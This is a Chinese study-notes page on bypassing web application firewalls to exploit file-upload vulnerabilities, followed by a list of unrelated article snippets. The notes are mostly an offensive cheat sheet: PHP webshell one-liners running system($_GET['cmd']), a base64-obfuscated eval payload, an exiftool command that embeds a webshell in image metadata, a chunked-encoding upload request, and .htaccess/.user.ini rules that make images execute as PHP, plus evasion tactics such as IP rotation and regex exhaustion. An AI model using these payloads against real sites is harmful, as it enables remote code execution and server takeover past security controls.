当前位置: 首页 > news >正文

文件上传漏洞绕过WAF

文件上传漏洞绕过WAF学习笔记


1. WAF检测原理

WAF(Web应用防火墙)通过以下方式拦截文件上传攻击:

  1. 关键字匹配:检测文件名、内容中的敏感词(如<?phpeval)。

  2. 扩展名黑名单:拦截.php.jsp等危险扩展名。

  3. 文件头验证:检查文件魔数(如FFD8FF对应JPEG)。

  4. 流量特征分析:检测异常请求结构(如超长文件名、畸形HTTP包)。


2. 通用绕过技术

2.1 解析差异利用

  • 大小写混合sHell.PhP.Php(部分WAF未统一大小写)。

  • 特殊字符插入

    • 分号截断(IIS):shell.asp;.jpg → 解析为.asp

    • 换行符插入:filename="shell.p\nhp"(绕过正则匹配)。

  • 扩展名混淆

    • 多重扩展名:shell.php.jpg → 结合解析漏洞(如Apache解析最后有效扩展名)。

    • 非标准扩展名:.php7.phtml.phar(需环境支持)。


2.2 编码混淆

  • URL编码

    • shell.%70hp%70=p)→ 部分WAF不解码检测。

  • Unicode编码

    • shell.\u0070hp → 转换为shell.php

  • HTML实体编码

    • 文件名:shell.#112;hp#112;=p)。

  • Base64/Hex编码文件内容

    php

    <?= eval(base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSk7")); ?>  

2.3 分块传输(Chunked Encoding)

  • 绕过原理:WAF可能不解析分块传输的文件内容。

  • 示例

    http

    POST /upload HTTP/1.1  
    Transfer-Encoding: chunked  
    ​
    7\r\n  
    <?php \r\n  
    8\r\n  
    system($_GET['cmd']);\r\n  
    0\r\n  
  • 工具:Burp Suite的Chunked Coding Converter插件。


2.4 文件内容绕过

  • 图片马注入

    • 在图片元数据中插入代码(Exif注释、IPTC字段)。

    bash

    exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg  
  • 短标签与动态调用

    php

    <?= `$_GET[0]`?>  # 短标签  
    <?php $_GET['a']($_GET['b']); ?>  # 动态函数调用  
  • 代码碎片化

    php

    <?php $a = "syste"; $b = "m"; $a.$b("id"); ?>  

2.5 HTTP协议特性利用

  • 参数污染

    http

    POST /upload?filename=shell.jpg HTTP/1.1  
    Content-Disposition: form-data; name="file"; filename="shell.php"  
    • 部分WAF优先取URL参数中的文件名。

  • 多文件上传绕过

    • 在多个文件字段中插入恶意文件,WAF可能只检测第一个。


3. 针对特定WAF的绕过

3.1 云WAF(如Cloudflare、阿里云)

  • 缓存污染攻击

    • 上传合法文件触发缓存,再覆盖为恶意文件。

  • IP轮询绕过

    • 通过大量不同IP上传,绕过频率限制。

3.2 ModSecurity规则绕过

  • 已知规则缺陷

    • 使用非常规扩展名:.php%20(空格)、.php.(末尾点)。

    • 利用正则回溯限制:构造超长文件名耗尽WAF计算资源。


4. 高级技巧

4.1 .htaccess/.user.ini覆盖

  • .htaccess(Apache)

    复制

    AddType application/x-httpd-php .jpg  
  • .user.ini(PHP)

    复制

    auto_prepend_file=shell.jpg  

4.2 分片上传绕过

  • 上传文件分片后合并,绕过WAF对完整文件的检测。

4.3 0day漏洞利用

  • CVE-2023-XXXX:特定WAF未修复的解析漏洞(需持续跟踪)。

相关文章:

文件上传漏洞绕过WAF

文件上传漏洞绕过WAF学习笔记 1. WAF检测原理 WAF&#xff08;Web应用防火墙&#xff09;通过以下方式拦截文件上传攻击&#xff1a; 关键字匹配&#xff1a;检测文件名、内容中的敏感词&#xff08;如<?php、eval&#xff09;。 扩展名黑名单&#xff1a;拦截.php、.jsp…...

[含文档+PPT+源码等]精品基于Python实现的vue3+Django计算机课程资源平台

基于Python实现的Vue3Django计算机课程资源平台的背景&#xff0c;可以从以下几个方面进行阐述&#xff1a; 一、教育行业发展背景 1. 教育资源数字化趋势 随着信息技术的快速发展&#xff0c;教育资源的数字化已成为不可逆转的趋势。计算机课程资源作为教育领域的重要组成部…...

Qt 开源音视频框架模块之QtAV播放器实践

Qt 开源音视频框架模块QtAV播放器实践 1 摘要 QtAV是一个基于Qt的多媒体框架&#xff0c;旨在简化音视频播放和处理。它是一个跨平台的库&#xff0c;支持多种音视频格式&#xff0c;并提供了一个简单易用的API来集成音视频功能。QtAV的设计目标是为Qt应用程序提供强大的音视…...

【前端】XML,XPATH,与HTML的关系

XML与HTML关系 XML&#xff08;可扩展标记语言&#xff09;和 HTML&#xff08;超文本标记语言&#xff09;是两种常见的标记语言&#xff0c;但它们有不同的目的和用途。它们都使用类似的标记结构&#xff08;标签&#xff09;&#xff0c;但在设计上存在一些关键的差异。 XML…...

ubuntu服务器安装VASP.6.4.3

ubuntu服务器安装VASP.6.4.3 1 安装Intel OneAPI Base Toolkit和Intel OneAPI HPC Toolkit1.1 更新并安装环境变量1.2 下载Intel OneAPI Base Toolkit和Intel OneAPI HPC Toolkit安装包1.3 安装 Intel OneAPI Base Toolkit1.4 安装 Intel OneAPI HPC Toolkit1.5 添加并激活环境…...

市场加速下跌,但监管「坚冰」正在消融

作者&#xff1a;Techub 热点速递 撰文&#xff1a;Yangz&#xff0c;Techub News 与近日气温逐步回暖不同&#xff0c;自 2 月 25 日比特币跌破 9 万美元以来&#xff0c;加密货币市场行情一路下滑。今日 10 时 50 分左右&#xff0c;比特币更是跌破 8 万美元大关&#xff0c…...

7.2 - 定时器之计算脉冲宽度实验

文章目录 1 实验任务2 系统框图3 软件设计 1 实验任务 本实验任务是通过CPU私有定时器来计算按键按下的时间长短。 2 系统框图 参见7.1。 3 软件设计 注意事项&#xff1a; 定时器是递减计数的&#xff0c;需要考虑StartCount&#xff1c;EndCount的情况。 /***********…...

Imagination DXTP GPU IP:加速游戏AI应用,全天候畅玩无阻

日前&#xff0c;Imagination 推出了最新产品——Imagination DXTP GPU IP&#xff0c;在智能手机和其他功耗受限设备上加速图形和AI工作负载时&#xff0c;保证全天候的电池续航。它是我们最新D系列GPU的最终产品&#xff0c;集成了自2022年发布以来引入的一系列功能&#xff…...

关于流水线的理解

还是不太理解&#xff0c;我之前一直以为&#xff0c;对axis总线&#xff0c;每一级的寄存器就像fifo一样&#xff0c;一级一级的分级存储最后一级需要的数据。&#xff08;现在看来&#xff0c;我这个理解应该也是没有问题的&#xff09; 如下图&#xff0c;一开始是在解析axi…...

采样算法二:去噪扩散隐式模型(DDIM)采样算法详解教程

参考 https://arxiv.org/pdf/2010.02502 一、背景与动机 去噪扩散隐式模型&#xff08;DDIM&#xff09; 是对DDPM的改进&#xff0c;旨在加速采样过程同时保持生成质量。DDPM虽然生成效果优异&#xff0c;但其采样需迭代数百至数千次&#xff0c;效率较低。DDIM通过以下关键…...

北京大学DeepSeek提示词工程与落地场景(PDF无套路免费下载)

近年来&#xff0c;大模型技术飞速发展&#xff0c;但许多用户发现&#xff1a;即使使用同一款 AI 工具&#xff0c;效果也可能天差地别——有人能用 AI 快速生成精准方案&#xff0c;有人却只能得到笼统回答。这背后的关键差异&#xff0c;在于提示词工程的应用能力。 北京大…...

Hutool - POI:让 Excel 与 Word 操作变得轻而易举

各位开发者们&#xff0c;在日常的 Java 开发工作里&#xff0c;处理 Excel 和 Word 文件是相当常见的需求。无论是从 Excel 里读取数据进行分析&#xff0c;还是将数据写入 Excel 生成报表&#xff0c;亦或是对 Word 文档进行内容编辑&#xff0c;传统的 Apache POI 库虽然功能…...

IDEAPyCharm安装ProxyAI(CodeGPT)插件连接DeepSeek-R1教程

背景&#xff1a;最近DeepSeek比较火嘛&#xff0c;然后在githup上也看到了GitHub Copilot&#xff0c;就想着现在AI的准确率已经可以提高工作效率了。所以从网上找了一些编程插件&#xff0c;发现Proxy支持的模型比较多&#xff0c;通用性和适配性比较好。所以本文记录一下pro…...

Iceberg Catalog

使用限制​ 支持 Iceberg V1/V2 表格式。支持 Position Delete。2.1.3 版本开始支持 Equality Delete。支持 Parquet 文件格式2.1.3 版本开始支持 ORC 文件格式。 创建 Catalog​ 基于 Hive Metastore 创建 Catalog​ 和 Hive Catalog 基本一致&#xff0c;这里仅给出简单示…...

2025年2月个人工作生活总结

本文为 2025年2月工作生活总结。 工作记录 AI浪潮 AI非常火&#xff0c;春节至今&#xff0c;到处充斥着大量和AI、DeepSeek有关的新闻。领导也一再强调要用AI&#xff0c;甚至纳入到新一年的考核里。再往上&#xff0c;大领导开会的新闻稿里也作出要求&#xff0c;不能停下脚…...

vscode java环境中文乱码的问题

先说我的结论&#xff1a; 由于我的系统是windows的&#xff0c;所以vscode使用的是默认gbk的编码进行的。 但是我的目的是全部都使用utf-8&#xff0c;因为我的程序始终是要去linux上去运行的&#xff0c;总不能在本地是好的&#xff0c;然后到服务器上就不行了吧&#xff0c;…...

Java数据结构第十五期:走进二叉树的奇妙世界(四)

专栏&#xff1a;Java数据结构秘籍 个人主页&#xff1a;手握风云 目录 一、二叉树OJ练习题&#xff08;续&#xff09; 1.1. 二叉树的层序遍历 1.2. 二叉树的最近公共祖先 1.3. 从前序与中序遍历序列构造二叉树 1.4. 从中序与后序遍历序列构造二叉树 1.5. 根据二叉树创建…...

【MySQL】CAST()在MySQL中的用法以及其他常用的数据类型转换函数

1. cast() CAST() 在 MySQL 中用于将一个表达式的类型转换为另一个类型。这在处理不同类型的数据时非常有用&#xff0c;比如将字符串转换为数字&#xff0c;或者将浮点数转换为整数等。 1.1 CAST() 函数的基本语法 CAST() 函数的基本语法如下&#xff1a; CAST(expression…...

使用Truffle、Ganache、MetaMask、Vue+Web3完成的一个简单区块链项目

文章目录 概要初始化Truffle项目创建编写合约编译合约配置Ganache修改truffle-config.js文件编写迁移文件部署合约使用Truffle 控制台使用MetaMask和VueWeb3与链交互 概要 使用Truffle、Ganache、MetaMask、VueWeb3完成的一个简单区块链项目。 初始化Truffle项目 安装好truf…...

初出茅庐的小李博客之按键驱动库使用

驱动库介绍 源码地址&#xff1a;https://github.com/jiejieTop/ButtonDrive 使用只需3步&#xff0c;创建按键&#xff0c;按键事件与回调处理函数链接映射&#xff0c;周期检查按键&#xff0c;支持单双击、连按、长按&#xff1b;采用回调处理按键事件&#xff08;自定义消…...

百川2-13B-4bits极限测试:OpenClaw连续72小时压力运行报告

百川2-13B-4bits极限测试&#xff1a;OpenClaw连续72小时压力运行报告 1. 为什么要做这次压力测试 去年冬天第一次接触OpenClaw时&#xff0c;我就被它"本地化AI智能体"的定位吸引。但真正让我产生深度测试想法的&#xff0c;是上个月处理客户数据时遭遇的尴尬——…...

DEBUG_UNIVERSAL:mbed OS轻量级协议无关调试框架

1. DEBUG_UNIVERSAL&#xff1a;面向mbed兼容微控制器的通用调试工具深度解析DEBUG_UNIVERSAL并非一个独立的商业调试器硬件&#xff0c;而是一个专为mbed OS生态设计的轻量级、可裁剪、协议无关的固件级调试框架。其核心价值在于将传统上依赖专用JTAG/SWD调试器&#xff08;如…...

手把手教你用STM32CubeMX和HAL库驱动DW3000:从SPI配置到第一个测距Demo

零基础玩转DW3000&#xff1a;STM32CubeMXHAL库实现厘米级UWB测距全指南 当我们需要在仓库里快速定位某个货架上的商品&#xff0c;或是让扫地机器人精准识别家具位置时&#xff0c;传统GPS和蓝牙方案的精度往往捉襟见肘。这正是UWB&#xff08;超宽带&#xff09;技术大显身手…...

x86汇编堆栈第二个案例

x86汇编堆栈第二个案例x86汇编堆栈第二个案例 1&#xff09;案例介绍 咱们上节课先把常见的x86下的堆栈过了一遍&#xff0c;包括基本指令对吧&#xff0c;除了上一个案例咱们还可以做什么使用现在学到的内容&#xff1f;既然咱们知道了“后进先出&#xff08;LIFO&#xff09;…...

2026届最火的六大降AI率平台实测分析

Ai论文网站排名&#xff08;开题报告、文献综述、降aigc率、降重综合对比&#xff09; TOP1. 千笔AI TOP2. aipasspaper TOP3. 清北论文 TOP4. 豆包 TOP5. kimi TOP6. deepseek 要让AIGC&#xff08;人工智能生成内容&#xff09;检测率降低&#xff0c;关键之处便在于把…...

学生成绩管理系统|基于springboot + vue学生成绩管理系统(源码+数据库+文档)

学生成绩管理系统 目录 基于springboot vue学生成绩管理系统 一、前言 二、系统功能演示 三、技术选型 四、其他项目参考 五、代码参考 六、测试参考 七、最新计算机毕设选题推荐 八、源码获取&#xff1a; 基于springboot vue学生成绩管理系统 一、前言 博主介绍&…...

Transformer双模态新玩法:CodeBERT如何同时理解代码和自然语言?

Transformer双模态新玩法&#xff1a;CodeBERT如何同时理解代码和自然语言&#xff1f; 在AI领域&#xff0c;让机器同时理解编程语言和自然语言一直是个令人着迷的挑战。想象一下&#xff0c;一个模型既能读懂Python代码的逻辑结构&#xff0c;又能理解开发者用英语写的注释文…...

APK Installer深度解析:Windows平台Android应用无缝安装的技术实现与实践指南

APK Installer深度解析&#xff1a;Windows平台Android应用无缝安装的技术实现与实践指南 【免费下载链接】APK-Installer An Android Application Installer for Windows 项目地址: https://gitcode.com/GitHub_Trending/ap/APK-Installer 在跨平台应用生态日益融合的今…...

自感的奠基与哲学的转轨:一项元哲学视域中的全球思想比较研究

自感的奠基与哲学的转轨&#xff1a;一项元哲学视域中的全球思想比较研究摘要本文以岐金兰的“自感-痕迹论”与“大儒家观”为核心参照框架&#xff0c;在全球哲学的前沿版图中&#xff0c;对当代试图回应人工智能时代意义危机的代表性思想体系展开系统性的元哲学比较研究。本文…...

雷达信号相干性:从理论到工程实践的关键解析

1. 雷达信号相干性的基础概念 雷达信号相干性听起来像是个高大上的专业术语&#xff0c;但其实理解起来并不难。想象一下你在听交响乐&#xff0c;小提琴手们都在演奏同一个旋律&#xff0c;但如果没有指挥协调&#xff0c;每个人拉琴的节奏可能略有不同&#xff0c;听起来就会…...